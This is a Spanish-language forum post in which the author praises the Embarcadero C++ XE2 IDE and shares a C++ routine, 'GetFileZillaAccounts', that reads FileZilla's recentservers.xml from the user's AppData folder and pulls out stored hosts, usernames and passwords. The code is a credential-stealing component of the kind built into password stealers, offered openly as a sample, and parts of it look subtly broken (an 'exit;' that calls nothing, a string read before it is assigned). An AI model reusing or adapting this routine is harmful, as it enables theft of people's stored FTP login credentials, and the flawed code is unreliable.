Hola, ¿que tal? Estaba jugando con el IDE para C++ de Embarcadero (C++ XE2) y la verdad me ha gustado más que el de vs2010. Es mas ligero, tiene diseñador de GUI, quizás con algunos bugs porque es nuevo pero con muchas posibilidades. Aparte el IDE proporciona librerías propias de Embarcadero (Pascal) y la verdad después de pasar de vs2010 a este, es como programar en Pascal . Aquí os dejo un pequeño code.

Código: Seleccionar todo

// *****************************************************************************
// * CPP:            CPP_GetFileZillaAccounts
// * AUTOR:          Fakedo0r .:PD-TEAM:.
// * FECHA:          27.08.2012
// * CORREO:         [email protected]
// * BLOG:           Sub-Soul.blogspot.com / Sub-Soul.com
// * REQUERIMIENTOS: Librerias Estandar EMBARCADERO XE2
// *****************************************************************************
// *****************************************************************************
// <--- #INCLUDE --->
// *****************************************************************************
#include "CPP_GetFileZillaAccounts.h"
#include <Shlobj.h>
#include <System.hpp>
#include <SysUtils.hpp>
#include <StrUtils.hpp>
#include <vector>
// *****************************************************************************
// <--- DECLARACION DE FUNCIONES / PROCEDIMIENTOS --->
// *****************************************************************************
Boolean IsFileExists(String sFile);
String ReadFileAPI(String sFile);
String GetSpecialFolderAPI(int iCSDL);
String ByteArrayToString(std::vector<Byte>vbArray);
String StrCenter(String sCadena, String sDel_1, String sDel_2);
std::vector<String>GetFileZilaAccounts(String sSepInt);
std::vector<String>Split(String sCadena, String sDelimitador);

// *****************************************************************************
// <--- RECUPERA LAS CUENTAS DE FILEZILLA --->
// *****************************************************************************
std::vector<String>GetFileZilaAccounts(String sSepInt) {

	int I;
	String sPath;
	String sHost;
	String sUser;
	String sPass;
	String sAccounts;
	std::vector<String>vsAcoounts;
	std::vector<String>vsTemp;

	sPath = GetSpecialFolderAPI(CSIDL_APPDATA) +
		"\\FileZilla\\recentservers.xml";

	if (IsFileExists(sPath) == false) {
		exit;
	}

	sAccounts = ReadFileAPI(sPath);
	sAccounts = StrCenter(sAccounts, "<RecentServers>", "</RecentServers>");
	vsAcoounts = Split(sAccounts, "<Server>");

	for (I = 1; I < vsAcoounts.size(); I++) {

		sHost = StrCenter(vsAcoounts[I], "<Host>", "</Host>");
		sUser = StrCenter(vsAcoounts[I], "<User>", "</User>");
		sPass = StrCenter(vsAcoounts[I], "<Pass>", "</Pass>");

		vsTemp.push_back(sHost + sSepInt + 
                                 sUser + sSepInt +
                                 sPass);
	}

	return vsTemp;
}

// *****************************************************************************
// <--- OBTIENE RUTAS ESPECIALES --->
// *****************************************************************************
String GetSpecialFolderAPI(int iCSDL) {

	wchar_t pszPath[MAX_PATH];
	ITEMIDLIST * tIDL;

	HRESULT hRet = SHGetSpecialFolderLocation(0, iCSDL, &tIDL);

	if (hRet != NOERROR) {
		return 0;
	}

	SHGetPathFromIDList(tIDL, pszPath);

	return String(pszPath);
}

// *****************************************************************************
// <--- COMPRUEBA SI EL FICHERO EXISTE --->
// *****************************************************************************
Boolean IsFileExists(String sFile) {

	HRESULT hRes = GetFileAttributes(sFile.w_str());

	if (hRes == INVALID_FILE_ATTRIBUTES) {
		return false;
	}
	else {
		return true;
	}
}

// *****************************************************************************
// <--- LECTURA  --->
// *****************************************************************************
String ReadFileAPI(String sFile) {

	DWORD dwRet = 0;
	int iSize = 0;
	HANDLE hFile;
	std::vector<Byte>vbBuffer;

	hFile = CreateFile(UnicodeString(sFile).c_str(), GENERIC_READ,
		FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (hFile == INVALID_HANDLE_VALUE) {
		return 0;
	}

	iSize = GetFileSize(hFile, 0);
	vbBuffer.resize(iSize);

	SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
	ReadFile(hFile, &vbBuffer[0], iSize, &dwRet, NULL);
	CloseHandle(hFile);

	return ByteArrayToString(vbBuffer);
}

// *****************************************************************************
// <--- CONVIERTE ARRAY DE BYTES EN STRING --->
// *****************************************************************************
String ByteArrayToString(std::vector<Byte>vbArray) {

	String sResult;
	Integer I;

	sResult.SetLength(vbArray.size());

	for (I = 0; I < vbArray.size(); I++) {
		sResult[I + 1] = vbArray[I];
	}

	return sResult;
}

// *****************************************************************************
// <--- SPLIT --->
// *****************************************************************************
std::vector<String>Split(String sCadena, String sDelimitador) {

	int I;
	std::vector<String>vsTemp;

	for (I = 0; I < sCadena.Length(); I++) {
		if (Pos(sDelimitador, sCadena) == 0) {
			vsTemp.push_back(MidStr(AnsiString(sCadena), 1, sCadena.Length()));
			return vsTemp;
		}
		else {
			vsTemp.push_back(MidStr(AnsiString(sCadena), 1,
				Pos(sDelimitador, sCadena) - 1));
			sCadena = MidStr(AnsiString(sCadena),
				vsTemp[I].Length() + sDelimitador.Length() + 1,
				sCadena.Length() - sDelimitador.Length());
		}
	}

	return vsTemp;
}

// *****************************************************************************
// <--- OBTIENE LA CADENA CENTRAL --->
// *****************************************************************************
String StrCenter(String sCadena, String sDel_1, String sDel_2) {

	String sTemp;

	sTemp = MidStr(AnsiString(sCadena), Pos(sDel_1, sCadena) + sDel_1.Length(),
		sCadena.Length() - Pos(sDel_2, sTemp));
	sTemp = MidStr(AnsiString(sTemp), 1, AnsiPos(sDel_2, sTemp) - 1);

	return sTemp;
}
Saludos.
El secreto de mi éxito es Jesús
Responder

Volver a “Fuentes”